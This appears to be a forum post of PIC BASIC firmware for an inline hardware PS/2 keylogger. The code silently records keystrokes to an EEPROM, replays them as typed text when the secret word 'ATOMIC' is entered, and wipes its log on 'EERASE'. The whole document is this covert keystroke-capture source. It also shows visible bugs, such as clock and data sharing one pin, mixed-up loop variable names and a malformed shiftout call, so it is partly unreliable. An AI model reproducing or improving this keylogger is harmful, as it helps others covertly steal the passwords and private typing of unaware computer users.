Code:
Device MCLR_OFF
define ose 10
define shift_pauses 40
cmcon = 7
vrcon = 0
dta var porta.0 -
;[VARIABLES]
mde var bit
;MODE:0=RECORD / 1 = PLAYBACK
dta var porta.0 ;KEYBOARD DATA PIN
clk var porta.0 ;KEYBOARD CLOCK PIN
kbs var portb.0 ; KEYBOARD 4066 SWITCH
scl var porta.3 ; EEPROM CLOCK PIN
sda var porta.2 ; EEPROM DATA PIN
adr var word ;EEPROM ADRESS
chr var word ; OUTPUT FRAME
key var byte ; SCAN CODE
bkc var byte ; BREAK CODE
btv var byte ; BIT VALUE
lp1 var byte ; LOOP VARIABLE
sft var byte ; SHIFT KEY FLAG
lsf var bit ; LAST SHIFT KEY STATE
pwc var byte ; PASSWORD BYTE COUNTER
pwd var byte[6] ; MASTER PASSWORD
clear
; [STARTUP]
input clk
input dta
output kbs
kbs = 1
; [ FIND EMPTY EEPROM ADRESS]
for adr = 0 to 32767
i2cread sda,scl,$A0,adr,[lp1]
if lp1 = 0 then goto done
next
done:
main:
;[RECORD LOOP]
;[READ START BIT]
gosub clock
if dta = 1 then goto main
;[READ NEXT 8 DATA BITS]
key = 0
for lp1 = 0 to 7
gosub clock
if dta = 1 then
lookup lp1,[1,2,4,8,16,32,64,128],btv
key = key + btv
endif
next
;[READ PARITY BIT]
gosub clock
;[READ LAST STOP BIT]
gosub clock
;[CHECK BREAK CODE – IGNORE NEXT KEY]
if bkc= 1 then
if key =$12 or key = $59 then sft = 0
key = 0
bkc = 0
endif
;[IGNORE BREAK CODE]
if key =$F0 then
bkc=1
goto main
endif
;[R/L SHIFT KEY ON]
;[FILTER SCANCODES TO RECORD]
lp1 = 255
lookdown
key,[$1C,$32,$21,$23,$24,$2B,$34,$33,$43,$3B,$42,$4B,$3A,$31,$44,$4D,$15,$2D,$1B,$2C,$3C,$2A,$1D,$22,$35,$1A,$45,$16,$1E,$26,$25,$2E,$36,$3D,$3E,$46,$4E,$55,$29,$54,$7C,$7B,$79,$71,$70,$69,$72,$7A,$6B,$73,$74,$6C,$75,$7D,$4C,$52,$41,$49,$4A],lp1
;[STORE CAPS KEY]
if key = 58 then
key =$54 : gosub store
key =$21 : gosub store
key = $1C : gosub store
key = $4D : gosub store
key = $1B : gosub store
key = $5B : gosub store
endif
;[STORE SHIFT ON (SH1) / SHIFT OFF (SH0)]
if sft <> lsf then
lsf = sft
key = $54 : gosub store
key = $1B : gosub store
key = $33 : gosub store
if sft = 0 then key = $45 : gosub store
if sft = 1 then key = $16 : gosub store
key = $5B : gosub store
endif
;[STORE NORMAL KEY IN EEPROM]
if lp1 < 255 then
gosub store
;[LOOK FOR SECRET CODES]
for lpl = 0 to 4
pwd[lpl] = pwd[lpl+1]
next
pwd[5] = key
;[SECRET CODE “ATOMIC' – GOTO PLAYBACK MODE]
if pwd[0] = $1C and pwd[1] = $2C and pwd[2] = $44 and pwd[3] = $3A and pwd[4]= $43 and pwd[5] = $21 then mde = 1
;[SECRET CODE “EERASE” - ERASE EEPROM]
if pwd[0] = $24 and pwd[1] = $24 and pwd[2] = $2D and pwd[3] = $1C and pwd[4]= $1B and pwd[5] = $24 then gosub erase
endif
;[PLAYBACK LOOP]************
if mde= 1 then
kbs= 0
adr=0
lpl =0
;[READ DATA FROM EEPROM]
send:
i2cread sda,scl,$A0,adr,[key]
Pause 10
adr = adr +1
;[EXIT IF END OF DATA]
if key = 0 then
mde= 0
input clk
input dta
kbs = 1
adr= adr -1
goto main
endif
;[SEND CR AFTER 80 CHARS]
lpl = lpl +1
if lpl = 80 then
lpl = 0
adr = adr – 1
key = $5A
endif
;[GOTO SENDKEY ROUTINE]
gosub sendkey
goto send
endif
goto main
;[FUNCTIONS]********************************
;[WAIT FOR CLOCK CYCLE]
clock :
if clk = 0 then goto clock
lp:
if clk = 1 then goto lp
return
;[WAIT FOR IDLE CLOCK]
idle:
if clk = 0 then goto idle
if dta = 0 then goto idle
return
;[STORE KEY TO EEPROM]
store:
i2cwrite sda,scl,$A0,adr,[key]
adr = adr + 1
Pause 10
return
;[SEND SCANCODE TO PC]
sendkey :
gosub idle
chr = key <<1
chr.0 = 0
chr.9 = not(key.0 ^^ key.1 ^^ key.2 ^^ key.3 ^^ key.4 ^^ key.5 ^^ key.6 ^^ key.7 ^^ key.8)
chr.10 = 1
shiftout dta.clk,4,[chr\ 11]
input clk
input dta
return
;[ERASE EEPROM- TAKES 3 MINS]
erase:
lpl = 0
btv = 0
kbs = 0
key = $5A
gosub sendkey
for adr = 0 to 32767
i2cwrite sda,scl,$A0,adr,[0]
pause 4
;[SEND PROFRESS DOTS]
lpl = lpl +1
if lpl = 100 then
lpl = 0
key = $49
btv = btv + 1
if btv = $22 then
btv = 0
key = $5A
endif
gosub sendkey
endif
next
key = $5A
gosub sendkey
adr = 0
kbs = 1
return
Bookmarks